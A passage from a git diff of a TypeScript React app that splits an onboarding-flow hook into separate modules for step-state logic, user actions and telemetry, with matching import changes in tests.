+  }
+  if (outcome === 'completed' && lastCompletedStep >= 4) {
+    return ONBOARDING_FINAL_STEP
+  }
+  // Why: in v3 (four-step, pre-Windows-terminal) step 4 already meant notifications, so resume there.
+  if (flowVersion === 3) {
+    return Math.min(4, lastCompletedStep)
+  }
+  // Why: v2 (five-step) and older seven-step data used step 4 for removed agent setup, not integrations.
+  if (flowVersion === 2) {
+    if (lastCompletedStep === 3) {
+      return 2
+    }
+    if (lastCompletedStep >= 4) {
+      return 3
+    }
+    return lastCompletedStep
+  }
+  if (lastCompletedStep === 3) {
+    return 2
+  }
+  if (lastCompletedStep === 4) {
+    return 2
+  }
+  if (lastCompletedStep >= 5) {
+    return 3
+  }
+  return lastCompletedStep
+}
+
+type SkippedOnboardingPreferenceOptions = {
+  currentStepId: OnboardingStepId
+  themeBeforePreview: GlobalSettings['theme'] | null
+  settingsTheme: GlobalSettings['theme'] | undefined
+  selectedAgent: TuiAgent | null
+  setTheme: (theme: GlobalSettings['theme']) => void
+  applyTheme: (theme: GlobalSettings['theme']) => void
+  updateSettings: (updates: Partial<GlobalSettings>) => Promise<void> | void
+  setError: (message: string | null) => void
+}
+
+export async function prepareSkippedOnboardingPreferences({
+  currentStepId,
+  themeBeforePreview,
+  settingsTheme,
+  selectedAgent,
+  setTheme,
+  applyTheme,
+  updateSettings,
+  setError
+}: SkippedOnboardingPreferenceOptions): Promise<boolean> {
+  try {
+    // Why: theme tiles save immediately for a stable preview, but skip must not keep this step's choice.
+    if (currentStepId === 'theme') {
+      const themeToRestore = themeBeforePreview ?? settingsTheme
+      if (themeToRestore) {
+        setTheme(themeToRestore)
+        applyTheme(themeToRestore)
+        await updateSettings({ theme: themeToRestore })
+      }
+    }
+    // Why: skipping bypasses step persistence, so save the visible agent choice before closing.
+    if (currentStepId === 'agent' && selectedAgent) {
+      await updateSettings({ defaultTuiAgent: selectedAgent })
+    }
+    return true
+  } catch (err) {
+    const message = err instanceof Error ? err.message : String(err)
+    setError(message)
+    toast.error(
+      translate(
+        'auto.components.onboarding.use.onboarding.flow.52acfbef51',
+        'Could not save progress'
+      ),
+      { description: message }
+    )
+    return false
+  }
+}
diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow-actions.ts b/src/renderer/src/components/onboarding/use-onboarding-flow-actions.ts
new file mode 100644
index 00000000000..9216de04e61
--- /dev/null
+++ b/src/renderer/src/components/onboarding/use-onboarding-flow-actions.ts
@@ -0,0 +1,268 @@
+import { useCallback, useRef, type Dispatch, type SetStateAction } from 'react'
+import { toast } from 'sonner'
+import { applyDocumentTheme } from '@/lib/document-theme'
+import { track } from '@/lib/telemetry'
+import { translate } from '@/i18n/i18n'
+import { ONBOARDING_FINAL_STEP } from '../../../../shared/constants'
+import type { GlobalSettings } from '../../../../shared/global-settings-types'
+import type { OnboardingState } from '../../../../shared/onboarding-state-types'
+import type { TuiAgent } from '../../../../shared/tui-agent'
+import { buildWindowsTerminalSnapshotPayload } from './windows-terminal-onboarding-telemetry'
+import { persistStep, type PersistCurrentStepResult } from './use-onboarding-flow-persistence'
+import { STEPS, type StepNumber } from './use-onboarding-flow-types'
+import {
+  prepareSkippedOnboardingPreferences,
+  resolveStepIndex,
+  type OnboardingStepSkipOptions,
+  type TaskSourcesExitAction
+} from './onboarding-flow-state'
+
+type CloseWith = (
+  outcome: 'completed' | 'dismissed',
+  lastStepReached: StepNumber,
+  completedPath?: 'add_project_modal',
+  dismissedExtras?: { advancedVia: 'button' | 'keyboard'; durationMs: number }
+) => Promise<boolean>
+
+type OnboardingFlowActionsArgs = {
+  busyLabel: string | null
+  setBusyLabel: Dispatch<SetStateAction<string | null>>
+  setError: Dispatch<SetStateAction<string | null>>
+  currentStep: (typeof STEPS)[number]
+  consumeStepDurationMs: () => number
+  trackTaskSourcesSnapshot: (
+    exitAction: TaskSourcesExitAction,
+    durationMs: number,
+    advancedVia: 'button' | 'keyboard'
+  ) => void
+  settings: GlobalSettings | null
+  persistCurrentStep: () => Promise<PersistCurrentStepResult>
+  closeWith: CloseWith
+  openModal: (modal: 'add-repo') => void
+  getNextStepIndex: (index: number) => number
+  onOnboardingChange: (state: OnboardingState) => void
+  stepIndex: number
+  setStepIndex: Dispatch<SetStateAction<number>>
+  selectedAgent: TuiAgent | null
+  themeStepEntryThemeRef: { current: GlobalSettings['theme'] | null }
+  setTheme: Dispatch<SetStateAction<GlobalSettings['theme']>>
+  updateSettings: (updates: Partial<GlobalSettings>) => Promise<void> | void
+  skipOptions: OnboardingStepSkipOptions
+}
+
+export function useOnboardingFlowActions({
+  busyLabel,
+  setBusyLabel,
+  setError,
+  currentStep,
+  consumeStepDurationMs,
+  trackTaskSourcesSnapshot,
+  settings,
+  persistCurrentStep,
+  closeWith,
+  openModal,
+  getNextStepIndex,
+  onOnboardingChange,
+  stepIndex,
+  setStepIndex,
+  selectedAgent,
+  themeStepEntryThemeRef,
+  setTheme,
+  updateSettings,
+  skipOptions
+}: OnboardingFlowActionsArgs) {
+  // Why: sync latch; busyLabel state commits too late to stop a ~30ms Cmd+Enter auto-repeat from re-entering next() and skipping a step.
+  const nextInFlightRef = useRef(false)
+  const trackCurrentStepCompleted = useCallback(
+    (advancedVia: 'button' | 'keyboard'): void => {
+      const durationMs = consumeStepDurationMs()
+      track('onboarding_step_completed', {
+        step: currentStep.stepNumber,
+        value_kind: currentStep.valueKind,
+        duration_ms: durationMs,
+        advanced_via: advancedVia
+      })
+      if (currentStep.id === 'integrations') {
+        trackTaskSourcesSnapshot('continue', durationMs, advancedVia)
+      }
+      if (currentStep.id === 'windows_terminal') {
+        track(
+          'onboarding_windows_terminal_snapshot',
+          buildWindowsTerminalSnapshotPayload({
+            settings,
+            exitAction: 'continue',
+            durationMs,
+            advancedVia
+          })
+        )
+      }
+    },
+    [
+      consumeStepDurationMs,
+      currentStep.id,
+      currentStep.stepNumber,
+      currentStep.valueKind,
+      settings,
+      trackTaskSourcesSnapshot
+    ]
+  )
+  const next = useCallback(
+    async (advancedVia: 'button' | 'keyboard' = 'button') => {
+      if (nextInFlightRef.current || busyLabel) {
+        return
+      }
+      nextInFlightRef.current = true
+      try {
+        const result = await persistCurrentStep()
+        if (result.ok) {
+          trackCurrentStepCompleted(advancedVia)
+          if (currentStep.id === 'notifications') {
+            setBusyLabel('Opening Add Project...')
+            const closed = await closeWith('completed', ONBOARDING_FINAL_STEP, 'add_project_modal')
+            if (closed) {
+              openModal('add-repo')
+            }
+            return
+          }
+          const nextIndex = getNextStepIndex(stepIndex)
+          const skippedThroughStepNumber = STEPS[nextIndex].stepNumber - 1
+          if (skippedThroughStepNumber > currentStep.stepNumber) {
+            // Why: skipped optional pages must still persist progress at the next visible page.
+            try {
+              onOnboardingChange(await persistStep(skippedThroughStepNumber))
+            } catch (err) {
+              toast.error(
+                translate(
+                  'auto.components.onboarding.use.onboarding.flow.52acfbef51',
+                  'Could not save progress'
+                ),
+                {
+                  description: err instanceof Error ? err.message : String(err)
+                }
+              )
+            }
+          }
+          setStepIndex(nextIndex)
+        }
+      } finally {
+        setBusyLabel(null)
+        nextInFlightRef.current = false
+      }
+    },
+    [
+      busyLabel,
+      closeWith,
+      currentStep.id,
+      currentStep.stepNumber,
+      getNextStepIndex,
+      onOnboardingChange,
+      openModal,
+      persistCurrentStep,
+      stepIndex,
+      trackCurrentStepCompleted,
+      setBusyLabel,
+      setStepIndex
+    ]
+  )
+
+  const skipToRepo = useCallback(async () => {
+    if (busyLabel) {
+      return
+    }
+    setError(null)
+    if (currentStep.id === 'notifications') {
+      return
+    }
+    const durationMs = consumeStepDurationMs()
+    const preferencesSaved = await prepareSkippedOnboardingPreferences({
+      currentStepId: currentStep.id,
+      themeBeforePreview: themeStepEntryThemeRef.current,
+      settingsTheme: settings?.theme,
+      selectedAgent,
+      setTheme,
+      applyTheme: applyDocumentTheme,
+      updateSettings,
+      setError
+    })
+    if (!preferencesSaved) {
+      return
+    }
+    const stepId = currentStep.id
+    const stepNumber = currentStep.stepNumber
+    const valueKind = currentStep.valueKind
+    setBusyLabel('Opening Add Project...')
+    try {
+      const closed = await closeWith('completed', ONBOARDING_FINAL_STEP, 'add_project_modal')
+      if (!closed) {
+        return
+      }
+      // Why: repo picker now lives in the Add Project dialog, so skipping optional setup closes onboarding and hands off to it.
+      track('onboarding_step_skipped', {
+        step: stepNumber,
+        value_kind: valueKind,
+        duration_ms: durationMs,
+        advanced_via: 'button'
+      })
+      if (stepId === 'integrations') {
+        trackTaskSourcesSnapshot('skip_to_project_setup', durationMs, 'button')
+      }
+      if (stepId === 'windows_terminal') {
+        track(
+          'onboarding_windows_terminal_snapshot',
+          buildWindowsTerminalSnapshotPayload({
+            settings,
+            exitAction: 'skip_to_project_setup',
+            durationMs,
+            advancedVia: 'button'
+          })
+        )
+      }
+      openModal('add-repo')
+    } finally {
+      setBusyLabel(null)
+    }
+  }, [
+    busyLabel,
+    closeWith,
+    consumeStepDurationMs,
+    currentStep.id,
+    currentStep.stepNumber,
+    currentStep.valueKind,
+    openModal,
+    selectedAgent,
+    settings,
+    trackTaskSourcesSnapshot,
+    updateSettings,
+    setBusyLabel,
+    setError,
+    setTheme,
+    themeStepEntryThemeRef
+  ])
+
+  const dismissOnboarding = useCallback(
+    async (advancedVia: 'button' | 'keyboard' = 'button'): Promise<boolean> => {
+      if (busyLabel) {
+        return false
+      }
+      setError(null)
+      return closeWith('dismissed', currentStep.stepNumber, undefined, {
+        durationMs: consumeStepDurationMs(),
+        advancedVia
+      })
+    },
+    [busyLabel, closeWith, consumeStepDurationMs, currentStep.stepNumber, setError]
+  )
+
+  const back = useCallback(() => {
+    setStepIndex((index) => resolveStepIndex(index - 1, skipOptions, 'backward'))
+  }, [setStepIndex, skipOptions])
+
+  const jumpToStep = useCallback(
+    (idx: number) => {
+      setStepIndex(resolveStepIndex(idx, skipOptions, idx < stepIndex ? 'backward' : 'forward'))
+    },
+    [setStepIndex, skipOptions, stepIndex]
+  )
+
+  return { next, skipToRepo, dismissOnboarding, back, jumpToStep }
+}
diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow-telemetry.ts b/src/renderer/src/components/onboarding/use-onboarding-flow-telemetry.ts
new file mode 100644
index 00000000000..ac5aafdd902
--- /dev/null
+++ b/src/renderer/src/components/onboarding/use-onboarding-flow-telemetry.ts
@@ -0,0 +1,89 @@
+import { useCallback, useEffect, useRef } from 'react'
+import { applyDocumentTheme } from '@/lib/document-theme'
+import { track } from '@/lib/telemetry'
+import { ONBOARDING_FINAL_STEP } from '../../../../shared/constants'
+import type { GlobalSettings } from '../../../../shared/global-settings-types'
+import type { EventProps } from '../../../../shared/telemetry-events'
+import type { AppState } from '@/store/types'
+import {
+  getGitHubTaskSourceStatus,
+  getLinearTaskSourceStatus,
+  type TaskSourcesExitAction
+} from './onboarding-flow-state'
+import type { StepNumber, STEPS } from './use-onboarding-flow-types'
+type OnboardingTelemetryArgs = {
+  remappedLastCompletedStep: number
+  currentStep: (typeof STEPS)[number]
+  persistedThemeRef: { current: GlobalSettings['theme'] }
+  preflightStatus: AppState['preflightStatus']
+  preflightStatusLoading: boolean
+  linearStatus: AppState['linearStatus']
+  linearStatusChecked: boolean
+}
+
+export function useOnboardingFlowTelemetry({
+  remappedLastCompletedStep,
+  currentStep,
+  persistedThemeRef,
+  preflightStatus,
+  preflightStatusLoading,
+  linearStatus,
+  linearStatusChecked
+}: OnboardingTelemetryArgs) {
+  const startedTrackedRef = useRef(false)
+  useEffect(() => {
+    if (startedTrackedRef.current) {
+      return
+    }
+    startedTrackedRef.current = true
+    const lastCompleted = remappedLastCompletedStep
+    track(
+      'onboarding_started',
+      lastCompleted >= 1 && lastCompleted < ONBOARDING_FINAL_STEP
+        ? { resumed_from_step: lastCompleted as StepNumber }
+        : {}
+    )
+  }, [remappedLastCompletedStep])
+
+  const stepStartedAtRef = useRef<number>(Date.now())
+  useEffect(() => {
+    stepStartedAtRef.current = Date.now()
+    track('onboarding_step_viewed', {
+      step: currentStep.stepNumber,
+      value_kind: currentStep.valueKind
+    })
+  }, [currentStep.id, currentStep.stepNumber, currentStep.valueKind])
+
+  const consumeStepDurationMs = useCallback((): number => {
+    return Math.max(0, Date.now() - stepStartedAtRef.current)
+  }, [])
+
+  const setLifecycleRootRef = useCallback(
+    (node: HTMLElement | null): void => {
+      if (node === null) {
+        applyDocumentTheme(persistedThemeRef.current)
+      }
+    },
+    [persistedThemeRef]
+  )
+
+  const trackTaskSourcesSnapshot = useCallback(
+    (
+      exitAction: TaskSourcesExitAction,
+      durationMs: number,
+      advancedVia: 'button' | 'keyboard'
+    ): void => {
+      const payload: EventProps<'onboarding_task_sources_snapshot'> = {
+        github_status: getGitHubTaskSourceStatus(preflightStatus, preflightStatusLoading),
+        linear_status: getLinearTaskSourceStatus(linearStatus, linearStatusChecked),
+        exit_action: exitAction,
+        duration_ms: durationMs,
+        advanced_via: advancedVia
+      }
+      track('onboarding_task_sources_snapshot', payload)
+    },
+    [linearStatus, linearStatusChecked, preflightStatus, preflightStatusLoading]
+  )
+
+  return { consumeStepDurationMs, setLifecycleRootRef, trackTaskSourcesSnapshot }
+}
diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow.test.ts b/src/renderer/src/components/onboarding/use-onboarding-flow.test.ts
index 0133a720059..ffc39e3a6cb 100644
--- a/src/renderer/src/components/onboarding/use-onboarding-flow.test.ts
+++ b/src/renderer/src/components/onboarding/use-onboarding-flow.test.ts
@@ -3,7 +3,7 @@ import { toast } from 'sonner'
 import {
   prepareSkippedOnboardingPreferences,
   remapOpenOnboardingLastCompletedStep
-} from './use-onboarding-flow'
+} from './onboarding-flow-state'
 import { getDefaultOnboardingState } from '../../../../shared/constants'
 
 vi.mock('sonner', () => ({
diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow.ts b/src/renderer/src/components/onboarding/use-onboarding-flow.ts
index 33f7e94d1e2..1959b5945fd 100644
--- a/src/renderer/src/components/onboarding/use-onboarding-flow.ts
+++ b/src/renderer/src/components/onboarding/use-onboarding-flow.ts
@@ -1,4 +1,3 @@
-/* eslint-disable max-lines -- Why: single orchestrator for every onboarding-step transition; splitting would scatter ordering across hooks and lose the controller-shape contract OnboardingFlow.tsx consumes. */
 import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 import { toast } from 'sonner'
 import { getAgentCatalog } from '@/lib/agent-catalog'
@@ -6,184 +5,28 @@ import { useAppStore } from '@/store'
 import { applyDocumentTheme } from '@/lib/document-theme'
 import { track } from '@/lib/telemetry'
 import { buildAgentPickedPayload } from './agent-picked-payload'
-import { ONBOARDING_FINAL_STEP, ONBOARDING_FLOW_VERSION } from '../../../../shared/constants'
-import type { EventProps } from '../../../../shared/telemetry-events'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import type { OnboardingState } from '../../../../shared/onboarding-state-types'
 import type { TuiAgent } from '../../../../shared/tui-agent'
-import { STEPS, type StepNumber } from './use-onboarding-flow-types'
+import { STEPS } from './use-onboarding-flow-types'
 import { persistStep, useCloseWith, usePersistCurrentStep } from './use-onboarding-flow-persistence'
 import { resolveOnboardingSettingsHydration } from './onboarding-settings-hydration'
 import { translate } from '@/i18n/i18n'
 import { resolveAgentPermissionModeSummary } from '../../../../shared/tui-agent-permissions'
 import { isWindowsUserAgent } from '@/components/terminal-pane/pane-helpers'
-import { buildWindowsTerminalSnapshotPayload } from './windows-terminal-onboarding-telemetry'
+import {
+  isSkippedStepIndex,
+  remapOpenOnboardingLastCompletedStep,
+  resolveStepIndex,
+  shouldSkipIntegrationsStep,
+  shouldSkipWindowsTerminalStep
+} from './onboarding-flow-state'
 
+import { useOnboardingFlowActions } from './use-onboarding-flow-actions'
+import { useOnboardingFlowTelemetry } from './use-onboarding-flow-telemetry'
 export { STEPS } from './use-onboarding-flow-types'
 export type { StepId, StepNumber } from './use-onboarding-flow-types'
 
-type TaskSourcesSnapshotProps = EventProps<'onboarding_task_sources_snapshot'>
-type TaskSourcesGithubStatus = TaskSourcesSnapshotProps['github_status']
-type TaskSourcesLinearStatus = TaskSourcesSnapshotProps['linear_status']
-type TaskSourcesExitAction = TaskSourcesSnapshotProps['exit_action']
-
-function shouldSkipIntegrationsStep(
-  status: ReturnType<typeof useAppStore.getState>['preflightStatus']
-): boolean {
-  return status?.gh.installed === true
-}
-
-function shouldSkipWindowsTerminalStep(isWindows: boolean): boolean {
-  return !isWindows
-}
-
-type OnboardingStepSkipOptions = {
-  skipIntegrations: boolean
-  skipWindowsTerminal: boolean
-}
-
-function isSkippedStepIndex(index: number, options: OnboardingStepSkipOptions): boolean {
-  const step = STEPS[index]
-  return (
-    (options.skipIntegrations && step?.id === 'integrations') ||
-    (options.skipWindowsTerminal && step?.id === 'windows_terminal')
-  )
-}
-
-function resolveStepIndex(
-  index: number,
-  skipOptions: OnboardingStepSkipOptions,
-  direction: 'forward' | 'backward'
-): number {
-  const lastIndex = STEPS.length - 1
-  let nextIndex = Math.min(Math.max(index, 0), lastIndex)
-  while (isSkippedStepIndex(nextIndex, skipOptions)) {
-    const candidate = nextIndex + (direction === 'forward' ? 1 : -1)
-    if (candidate < 0 || candidate > lastIndex) {
-      return direction === 'forward' ? lastIndex : 0
-    }
-    nextIndex = candidate
-  }
-  return nextIndex
-}
-
-function getGitHubTaskSourceStatus(
-  status: ReturnType<typeof useAppStore.getState>['preflightStatus'],
-  loading: boolean
-): TaskSourcesGithubStatus {
-  if (loading || !status) {
-    return 'checking'
-  }
-  if (!status.gh.installed) {
-    return 'not_installed'
-  }
-  return status.gh.authenticated ? 'connected' : 'not_authenticated'
-}
-
-function getLinearTaskSourceStatus(
-  status: ReturnType<typeof useAppStore.getState>['linearStatus'],
-  checked: boolean
-): TaskSourcesLinearStatus {
-  if (status.connected) {
-    return 'connected'
-  }
-  return checked ? 'not_connected' : 'checking'
-}
-
-type OnboardingStepId = (typeof STEPS)[number]['id']
-
-type OnboardingProgressSnapshot = Pick<
-  OnboardingState,
-  'flowVersion' | 'lastCompletedStep' | 'outcome'
->
-
-export function remapOpenOnboardingLastCompletedStep({
-  flowVersion,
-  lastCompletedStep,
-  outcome
-}: OnboardingProgressSnapshot): number {
-  if (flowVersion === ONBOARDING_FLOW_VERSION) {
-    return lastCompletedStep
-  }
-  if (outcome === 'completed' && lastCompletedStep >= 4) {
-    return ONBOARDING_FINAL_STEP
-  }
-  // Why: in v3 (four-step, pre-Windows-terminal) step 4 already meant notifications, so resume there.
-  if (flowVersion === 3) {
-    return Math.min(4, lastCompletedStep)
-  }
-  // Why: v2 (five-step) and older seven-step data used step 4 for removed agent setup, not integrations.
-  if (flowVersion === 2) {
-    if (lastCompletedStep === 3) {
-      return 2
-    }
-    if (lastCompletedStep >= 4) {
-      return 3
-    }
-    return lastCompletedStep
-  }
-  if (lastCompletedStep === 3) {
-    return 2
-  }
-  if (lastCompletedStep === 4) {
-    return 2
-  }
-  if (lastCompletedStep >= 5) {
-    return 3
-  }
-  return lastCompletedStep
-}
-
-type SkippedOnboardingPreferenceOptions = {
-  currentStepId: OnboardingStepId
-  themeBeforePreview: GlobalSettings['theme'] | null
-  settingsTheme: GlobalSettings['theme'] | undefined
-  selectedAgent: TuiAgent | null
-  setTheme: (theme: GlobalSettings['theme']) => void
-  applyTheme: (theme: GlobalSettings['theme']) => void
-  updateSettings: (updates: Partial<GlobalSettings>) => Promise<void> | void
-  setError: (message: string | null) => void
-}
-
-export async function prepareSkippedOnboardingPreferences({
-  currentStepId,
-  themeBeforePreview,
-  settingsTheme,
-  selectedAgent,
-  setTheme,
-  applyTheme,
-  updateSettings,
-  setError
-}: SkippedOnboardingPreferenceOptions): Promise<boolean> {
-  try {
-    // Why: theme tiles save immediately for a stable preview, but skip must not keep this step's choice.
-    if (currentStepId === 'theme') {
-      const themeToRestore = themeBeforePreview ?? settingsTheme
-      if (themeToRestore) {
-        setTheme(themeToRestore)
-        applyTheme(themeToRestore)
-        await updateSettings({ theme: themeToRestore })
-      }
-    }
-    // Why: skipping bypasses step persistence, so save the visible agent choice before closing.
-    if (currentStepId === 'agent' && selectedAgent) {
-      await updateSettings({ defaultTuiAgent: selectedAgent })
-    }
-    return true
-  } catch (err) {
-    const message = err instanceof Error ? err.message : String(err)
-    setError(message)
-    toast.error(
-      translate(
-        'auto.components.onboarding.use.onboarding.flow.52acfbef51',
-        'Could not save progress'
-      ),
-      { description: message }
-    )
-    return false
-  }
-}
-
 export function useOnboardingFlow(
   onboarding: OnboardingState,
   onOnboardingChange: (state: OnboardingState) => void
@@ -365,11 +208,6 @@ export function useOnboardingFlow(
     [skipOptions]
   )
 
-  const getPreviousStepIndex = useCallback(
-    (idx: number): number => resolveStepIndex(idx - 1, skipOptions, 'backward'),
-    [skipOptions]
-  )
-
   useEffect(() => {
     if (currentStep.id !== 'integrations' || !preflightStatusChecked || !skipIntegrations) {
       return
@@ -402,63 +240,16 @@ export function useOnboardingFlow(
     stepIndex
   ])
 
-  // Why: ref guard stops StrictMode's double-invoke from emitting onboarding_started twice.
-  const startedTrackedRef = useRef(false)
-  useEffect(() => {
-    if (startedTrackedRef.current) {
-      return
-    }
-    startedTrackedRef.current = true
-    // Why: resumed_from_step is the step the user finished, not the one we resume into.
-    const lastCompleted = remappedLastCompletedStep
-    track(
-      'onboarding_started',
-      lastCompleted >= 1 && lastCompleted < ONBOARDING_FINAL_STEP
-        ? { resumed_from_step: lastCompleted as StepNumber }
-        : {}
-    )
-    // eslint-disable-next-line react-hooks/exhaustive-deps
-  }, [])
-
-  // Why: re-pinned per step view so duration_ms measures only post-resume time; optional so a missing baseline drops the field, not the event. See docs/onboarding-telemetry-extensions.md.
-  const stepStartedAtRef = useRef<number>(Date.now())
-  useEffect(() => {
-    stepStartedAtRef.current = Date.now()
-    track('onboarding_step_viewed', {
-      step: currentStep.stepNumber,
-      value_kind: currentStep.valueKind
+  const { consumeStepDurationMs, setLifecycleRootRef, trackTaskSourcesSnapshot } =
+    useOnboardingFlowTelemetry({
+      remappedLastCompletedStep,
+      currentStep,
+      persistedThemeRef,
+      preflightStatus,
+      preflightStatusLoading,
+      linearStatus,
+      linearStatusChecked
     })
-  }, [currentStep.id, currentStep.stepNumber, currentStep.valueKind])
-
-  const consumeStepDurationMs = useCallback((): number => {
-    return Math.max(0, Date.now() - stepStartedAtRef.current)
-  }, [])
-
-  const setLifecycleRootRef = useCallback((node: HTMLElement | null): void => {
-    if (node !== null) {
-      return
-    }
-    // Why: theme preview mutates state outside this component, so revert on modal-root detach rather than a passive Effect.
-    applyDocumentTheme(persistedThemeRef.current)
-  }, [])
-
-  const trackTaskSourcesSnapshot = useCallback(
-    (
-      exitAction: TaskSourcesExitAction,
-      durationMs: number,
-      advancedVia: 'button' | 'keyboard'
-    ): void => {
-      // Why: one low-cardinality snapshot captures task-source usability at step exit without per-button telemetry.
-      track('onboarding_task_sources_snapshot', {
-        github_status: getGitHubTaskSourceStatus(preflightStatus, preflightStatusLoading),
-        linear_status: getLinearTaskSourceStatus(linearStatus, linearStatusChecked),
-        exit_action: exitAction,
-        duration_ms: durationMs,
-        advanced_via: advancedVia
-      })
-    },
-    [linearStatus, linearStatusChecked, preflightStatus, preflightStatusLoading]
-  )
 
   // Why: auto-pick only on first mount; otherwise re-running would clobber/race the user's own agent selection.
   const didAutoSelectRef = useRef(false)
@@ -495,192 +286,27 @@ export function useOnboardingFlow(
     setError
   })
 
-  // Why: sync latch; busyLabel state commits too late to stop a ~30ms Cmd+Enter auto-repeat from re-entering next() and skipping a step.
-  const nextInFlightRef = useRef(false)
-  const trackCurrentStepCompleted = useCallback(
-    (advancedVia: 'button' | 'keyboard'): void => {
-      const durationMs = consumeStepDurationMs()
-      track('onboarding_step_completed', {
-        step: currentStep.stepNumber,
-        value_kind: currentStep.valueKind,
-        duration_ms: durationMs,
-        advanced_via: advancedVia
-      })
-      if (currentStep.id === 'integrations') {
-        trackTaskSourcesSnapshot('continue', durationMs, advancedVia)
-      }
-      if (currentStep.id === 'windows_terminal') {
-        track(
-          'onboarding_windows_terminal_snapshot',
-          buildWindowsTerminalSnapshotPayload({
-            settings,
-            exitAction: 'continue',
-            durationMs,
-            advancedVia
-          })
-        )
-      }
-    },
-    [
-      consumeStepDurationMs,
-      currentStep.id,
-      currentStep.stepNumber,
-      currentStep.valueKind,
-      settings,
-      trackTaskSourcesSnapshot
-    ]
-  )
-  const next = useCallback(
-    async (advancedVia: 'button' | 'keyboard' = 'button') => {
-      if (nextInFlightRef.current || busyLabel) {
-        return
-      }
-      nextInFlightRef.current = true
-      try {
-        const result = await persistCurrentStep()
-        if (result.ok) {
-          trackCurrentStepCompleted(advancedVia)
-          if (currentStep.id === 'notifications') {
-            setBusyLabel('Opening Add Project...')
-            const closed = await closeWith('completed', ONBOARDING_FINAL_STEP, 'add_project_modal')
-            if (closed) {
-              openModal('add-repo')
-            }
-            return
-          }
-          const nextIndex = getNextStepIndex(stepIndex)
-          const skippedThroughStepNumber = STEPS[nextIndex].stepNumber - 1
-          if (skippedThroughStepNumber > currentStep.stepNumber) {
-            // Why: skipped optional pages must still persist progress at the next visible page.
-            try {
-              onOnboardingChange(await persistStep(skippedThroughStepNumber))
-            } catch (err) {
-              toast.error(
-                translate(
-                  'auto.components.onboarding.use.onboarding.flow.52acfbef51',
-                  'Could not save progress'
-                ),
-                {
-                  description: err instanceof Error ? err.message : String(err)
-                }
-              )
-            }
-          }
-          setStepIndex(nextIndex)
-        }
-      } finally {
-        setBusyLabel(null)
-        nextInFlightRef.current = false
-      }
-    },
-    [
-      busyLabel,
-      closeWith,
-      currentStep.id,
-      currentStep.stepNumber,
-      getNextStepIndex,
-      onOnboardingChange,
-      openModal,
-      persistCurrentStep,
-      stepIndex,
-      trackCurrentStepCompleted
-    ]
-  )
-
-  const skipToRepo = useCallback(async () => {
-    if (busyLabel) {
-      return
-    }
-    setError(null)
-    if (currentStep.id === 'notifications') {
-      return
-    }
-    const durationMs = consumeStepDurationMs()
-    const preferencesSaved = await prepareSkippedOnboardingPreferences({
-      currentStepId: currentStep.id,
-      themeBeforePreview: themeStepEntryThemeRef.current,
-      settingsTheme: settings?.theme,
-      selectedAgent,
-      setTheme,
-      applyTheme: applyDocumentTheme,
-      updateSettings,
-      setError
-    })
-    if (!preferencesSaved) {
-      return
-    }
-    const stepId = currentStep.id
-    const stepNumber = currentStep.stepNumber
-    const valueKind = currentStep.valueKind
-    setBusyLabel('Opening Add Project...')
-    try {
-      const closed = await closeWith('completed', ONBOARDING_FINAL_STEP, 'add_project_modal')
-      if (!closed) {
-        return
-      }
-      // Why: repo picker now lives in the Add Project dialog, so skipping optional setup closes onboarding and hands off to it.
-      track('onboarding_step_skipped', {
-        step: stepNumber,
-        value_kind: valueKind,
-        duration_ms: durationMs,
-        advanced_via: 'button'
-      })
-      if (stepId === 'integrations') {
-        trackTaskSourcesSnapshot('skip_to_project_setup', durationMs, 'button')
-      }
-      if (stepId === 'windows_terminal') {
-        track(
-          'onboarding_windows_terminal_snapshot',
-          buildWindowsTerminalSnapshotPayload({
-            settings,
-            exitAction: 'skip_to_project_setup',
-            durationMs,
-            advancedVia: 'button'
-          })
-        )
-      }
-      openModal('add-repo')
-    } finally {
-      setBusyLabel(null)
-    }
-  }, [
+  const { next, skipToRepo, dismissOnboarding, back, jumpToStep } = useOnboardingFlowActions({
     busyLabel,
-    closeWith,
+    setBusyLabel,
+    setError,
+    currentStep,
     consumeStepDurationMs,
-    currentStep.id,
-    currentStep.stepNumber,
-    currentStep.valueKind,
-    openModal,
-    selectedAgent,
-    settings,
     trackTaskSourcesSnapshot,
-    updateSettings
-  ])
-
-  const dismissOnboarding = useCallback(
-    async (advancedVia: 'button' | 'keyboard' = 'button'): Promise<boolean> => {
-      if (busyLabel) {
-        return false
-      }
-      setError(null)
-      return closeWith('dismissed', currentStep.stepNumber, undefined, {
-        durationMs: consumeStepDurationMs(),
-        advancedVia
-      })
-    },
-    [busyLabel, closeWith, consumeStepDurationMs, currentStep.stepNumber]
-  )
-
-  const back = useCallback(() => {
-    setStepIndex(getPreviousStepIndex)
-  }, [getPreviousStepIndex])
-
-  const jumpToStep = useCallback(
-    (idx: number) => {
-      setStepIndex(resolveStepIndex(idx, skipOptions, idx < stepIndex ? 'backward' : 'forward'))
-    },
-    [skipOptions, stepIndex]
-  )
+    settings,
+    persistCurrentStep,
+    closeWith,
+    openModal,
+    getNextStepIndex,
+    onOnboardingChange,
+    stepIndex,
+    setStepIndex,
+    selectedAgent,
+    themeStepEntryThemeRef,
+    setTheme,
+    updateSettings,
+    skipOptions
+  })
 
   return {
     settings,
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.test.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.test.tsx
index 869509cbf4a..9a634120ca0 100644
--- a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.test.tsx
+++ b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.test.tsx
@@ -10,7 +10,7 @@ import type { WorkspaceLineage } from '../../../../shared/worktree/lineage-types
 import type { Worktree } from '../../../../shared/worktree/types'
 import type { HostedReviewInfo } from '../../../../shared/hosted-review'
 import { folderWorkspaceKey, worktreeWorkspaceKey } from '../../../../shared/workspace-scope'
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import { getGitHubRepoCacheKey } from '@/store/slices/github-cache-key'
 import { prChecksCacheSuffix } from '@/store/github/cache-identity'
 
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspacePrChecksPanel.tsx
